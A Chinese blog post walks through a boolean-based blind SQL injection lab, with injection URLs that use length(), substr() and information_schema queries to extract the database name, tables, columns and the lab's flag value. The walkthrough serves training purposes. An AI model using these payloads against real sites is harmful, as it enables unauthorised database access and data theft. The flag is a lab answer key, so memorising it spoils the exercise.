掌控安全sql注入靶场pass-05

1.判断注入点

1 and 1=1

 

 1 and 1=2

 

 考虑存在布尔盲注

布尔盲注解释

当不能像前面那样直接在网页中显示我们要的数据时就需要用到盲注,来得到数据库之类的名字。基于布尔的盲注就是通过判断语句来猜解,如果判断条件正确则页面显示正常,否则报错,这样一轮一轮猜下去直到猜对。是挺麻烦但是相对简单的盲注方式。
2.判断当前数据库长度与名称
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length(database())>=3
通过判断出数据库长度后使用burpsuite的爆破功能可以获得数据库名称
http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr(database(),1,1)>='a'

 

kanwolongxia

 3.同理查询表长与名称

第一个表

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 0,1))=6

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 0,1),1,1)='a'

 

为loflag

第二个表

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 1,1))=3

injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select table_name from information_schema.tables where table_schema='kanwolongxia'limit 1,1),1,1)='a'

为new

第三个表同理

为user

无第四个表

 4.列长与列段名

可直接查第一个表

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select column_name from information_schema.columns where table_name='loflag' limit 0,1))>=2

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='a'

为id

同理查第二表

为flaglo

5.查询字段即flag值

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and length((select flaglo from loflag limit 0,1))>=8

injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1 and substr((select flaglo from loflag limit 0,1),1,1)='a'

这里就展示出了ascii码的作用,前面使用substr都可以,但是如果为q与Q,或者是-都无法使用substr识别,因而要添加ascii

后flag值为zKaQ-QQQ

 

posted @ 2020-09-03 23:51  LY2333  阅读(1487)  评论(1编辑  收藏  举报